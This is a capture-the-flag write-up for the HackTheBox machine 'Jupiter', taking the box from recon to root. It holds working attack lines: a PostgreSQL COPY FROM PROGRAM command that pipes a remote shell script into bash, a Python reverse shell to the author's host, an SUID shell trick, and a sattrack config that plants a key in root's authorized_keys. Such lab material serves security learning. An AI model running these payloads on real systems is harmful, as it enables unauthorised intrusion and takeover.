Jupiter is a very nice medium linux box on HackTheBox. It starts with exploiting an instance of Grafana that’s making an API call containing full SQL queries, which are executed without validation. You’ll then exploit a shadow simulator cron job to gain access to a local user. This will give you access to some log files containing access token for a local Jupyter Notebook instance. Privesc involves exploiting Arftracksat, a satellite tracker.
Jupiter
Recon
NMAP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Nmap 7.80 scan initiated Thu Aug 24 09:04:09 2023 as: nmap -sC -sV -oN nmap.txt -v 10.10.11.216
Nmap scan report for 10.10.11.216
Host is up (0.51s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://jupiter.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Aug 24 09:05:24 2023 -- 1 IP address (1 host up) scanned in 75.15 seconds
Web
Redirects to jupiter.htb
;
Subdomain bruteforce with ffuf
revealed the subdomain kiosk.jupiter.htb
;
This seems to be running Grafana. Going through the site and checking my proxy logs showed an interesting request to the endpoint /api/ds/query
;
That rawSql
parameter looks very interesting as it seems to contain a complete SQL query that the server ran. Replacing it with show version()
, I got the database version in response;
Our target is running PostgreSQL.
Foothold
Running select current_user
showed we are running queries as grafana_viewer
. Testing if the server allows us to run shell commands by;
- Creating a table
cmd_exec
with columncmd_output
for output exfil;create table cmd_exec(cmd_output varchar(999999)))
- Fetching and executing
shell.sh
from my box, which contains a bash rev shell;COPY cmd_exec FROM PROGRAM 'curl http://10.10.16.73/shell.sh | bash'
User
So we now have a shell on the box as postgres
, which is the default PostgreSQL user. Going through the filesystem, some interesting files were found in /dev/shm
;
1
2
3
4
5
6
postgres@jupiter:/dev/shm$ ls -l
total 32
-rw-rw-rw- 1 juno juno 815 Mar 7 12:28 network-simulation.yml
-rw------- 1 postgres postgres 26976 Sep 2 08:15 PostgreSQL.3984354716
drwxrwxr-x 3 juno juno 100 Sep 2 08:18 shadow.data
postgres@jupiter:/dev/shm$
Running pspy
showed these files are processed by a cron job running as user juno
;
The file network-simulation.yml
seems to be the configuration file of Shadow Simulator;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
general:
# stop after 10 simulated seconds
stop_time: 10s
# old versions of cURL use a busy loop, so to avoid spinning in this busy
# loop indefinitely, we add a system call latency to advance the simulated
# time when running non-blocking system calls
model_unblocked_syscall_latency: true
network:
graph:
# use a built-in network graph containing
# a single vertex with a bandwidth of 1 Gbit
type: 1_gbit_switch
hosts:
# a host with the hostname 'server'
server:
network_node_id: 0
processes:
- path: /usr/bin/python3
args: -m http.server 80
start_time: 3s
# three hosts with hostnames 'client1', 'client2', and 'client3'
client:
network_node_id: 0
quantity: 3
processes:
- path: /usr/bin/curl
args: -s server
start_time: 5s
This obviously contains shell commands, and we can write to it. My initial attempt to modify it with a reverse shell kept failing. So I just added a payload that copies /bin/sh
to /tmp
and make it SUID as juno
, and it worked (I had to copy the file separately and then chmod it as the program somehow doesn’t like command chaining);
1
2
3
4
5
6
7
client:
network_node_id: 0
quantity: 3
processes:
- path: /bin/cp
args: /bin/sh /tmp/sh
start_time: 5s
1
2
3
4
5
6
7
client:
network_node_id: 0
quantity: 3
processes:
- path: /bin/sh
args: 4755 /tmp/sh
start_time: 5s
Note that I was still getting a permission denied error when attempting to read his files, akthough id
showed my effective ID has been changed to juno
;
.ssh
directory exists, and there is an empty authorized_keys
file, so I dropped an SSH key into it, and was able to login;
PrivEsc
ss -ltnp
showed there is a hidden service running locally on port 8888
. This turns out to be an instance of Jupiter Notebook;
We can’t access it since we do not have a token. Going through the filesystem, I found a token in the log files at /opt/solar-flares/logs
, which gave me access;
I created a new notebook and ran python reverse shell;
1
import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.73",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")
User has sudo
perms on /usr/local/bin/sattrack
, which turned out to be arftracksat;
Setting up the tool locally and figuring out how it works, I discovered the tlesources
array in it’s config accepts a list of URLs to download .tle
files from, and save them to the path defined in tleroot
. Knowing this, I was able to drop an SSH key into the root user’s authorized_keys
file using the following config (light reversing showed it expects a config file at /tmp/config.json
);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
{
"tleroot": "/root/.ssh/",
"tlefile": "weather.txt",
"mapfile": "/usr/local/share/sattrack/map.json",
"texturefile": "/usr/local/share/sattrack/earth.png",
"updatePerdiod": 3000,
"tlesources": [
"http://10.10.16.73/authorized_keys"
],
"station": {
"name": "NOAA 15",
"lat": 37.6725,
"lon": -1.5863,
"hgt": 335.0
},
"show": [
"NOAA 15"
],
"columns": [
"name",
"azel",
"dis",
"geo",
"tab",
"pos",
"vel"
]
}
Summary
- NMAP found port 22 and 80
- Site running an instance of Grafana;
- Found an endpoint that accepts and execute raw SQL queries.
- Exploited it to gain a shell on the box as
postgres
.
- Inside as
postgres
;- Exploited Shadow Simulator to gain a shell as
juno
- Exploited Shadow Simulator to gain a shell as
- Inside as
juno
;- Recovered Jupyter Notebook token from log files.
- Gain code execution as
jovian
.
- Inside as
jovian
;- Exploited sudo perms on Arftracksat steal root SSH key.